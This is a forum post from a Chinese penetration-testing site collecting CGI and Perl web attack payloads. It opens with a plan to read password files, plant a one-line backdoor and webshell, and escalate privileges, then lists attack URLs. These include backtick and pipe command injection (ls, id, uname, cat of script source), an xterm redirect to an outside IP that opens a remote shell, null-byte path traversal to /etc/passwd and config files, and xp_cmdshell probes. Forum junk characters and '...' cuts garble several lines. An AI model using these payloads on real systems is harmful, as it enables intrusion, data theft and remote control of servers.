中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  . e' J6 y& b) ^; z& _% h2 D
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  2 {0 k1 x; n7 ^6 }( B+ b' V
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们    C2 H# i2 e2 q, X. U
注“  
1 _6 t8 x: f  Dperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  & X3 T. i- ]* n) d% G8 A# W+ J
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  8 K% E- @8 i% y# q+ @9 q. p# k

4 J" \2 g& S0 \  h& s  D" `http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
3 H, S, x7 ]8 p9 V4 fhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
3 W# y& U2 U8 ~$ [http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  * F" G* ]$ l8 I8 K; G
http://target.com/cgi-bin/home/news/sub.pl?`id`  
- C+ u/ p4 E/ V5 k, l1 ohttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
7 C5 d' f  A( |* `1 v! F; Thttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  + h# A# G1 z6 w
" U% y2 v8 p* |4 N
http://target.com/test.pl;ls|  % Y6 v: X8 r- Z+ d0 z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
! D' H- ]) f8 Thttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 Q5 z7 ^2 |# V) D& h
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ; i' C3 m/ I8 ^, G. }
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
/ ]8 a- \2 T' C/ A# E& |http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
) ]% T' y" D7 }* k% `4 S6 q" @$ \) ]2 Q  m6 z
http://target.com/test.pl?&........ /../../etc/passwd  
: O2 _+ D- |+ L. ?% R8 d- X( r! V+ H4 d/ F7 i$ \. m
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  : G  z! h9 k+ c! o0 J1 z" z
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
: B: p* ?: y1 e5 T0 L! y8 vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
+ M5 y- A( e3 S4 b1 C4 _2 S6 Z& Q) _: b2 Q! t9 d% b- ]
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
+ X. {: ^7 \" \) t! T( Z. Fhttp://www.target.org/show.php?f ... ng/admin/global.php  
7 j: z. b7 t1 t. ~0 I! O4 i: `4 |  R' m4 `% I3 u, H" U. F
emm和ps的一句话' c, A+ ~( _: u# H! Z8 I( a$ t$ S* d
5 O( M" J6 F2 ^4 ]
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  & L) A+ V3 u$ ?" g
. I! W7 F& A4 }3 L- F$ G* [( Z7 R
>bbb%20|  5 d+ o, z9 w" e, Q% q6 [- H3 |

; M( j: o; ^* I4 R$ E/ _http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
* R$ T0 C. ]) U7 x0 z. H. S/ r. t5 u
; ~: [3 f# y: `$ Ghttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
/ }# ~/ O2 E+ B8 b$ n/ chttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
$ [: p. a- E. o, N5 i  {! g8 T4 H: b
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
" ]% q. v2 r. r7 ^4 yhttp://target.com/index.html#cmd.exe  
0 a/ y$ n- z  q1 u3 i( ohttp://target.com/index.html?dummyparam=xp_cmdshell  , D6 ~6 a* s* P) O3 A7 g( C( ~5 a
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  7 w$ Z. F1 a# |6 Q9 F# L





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2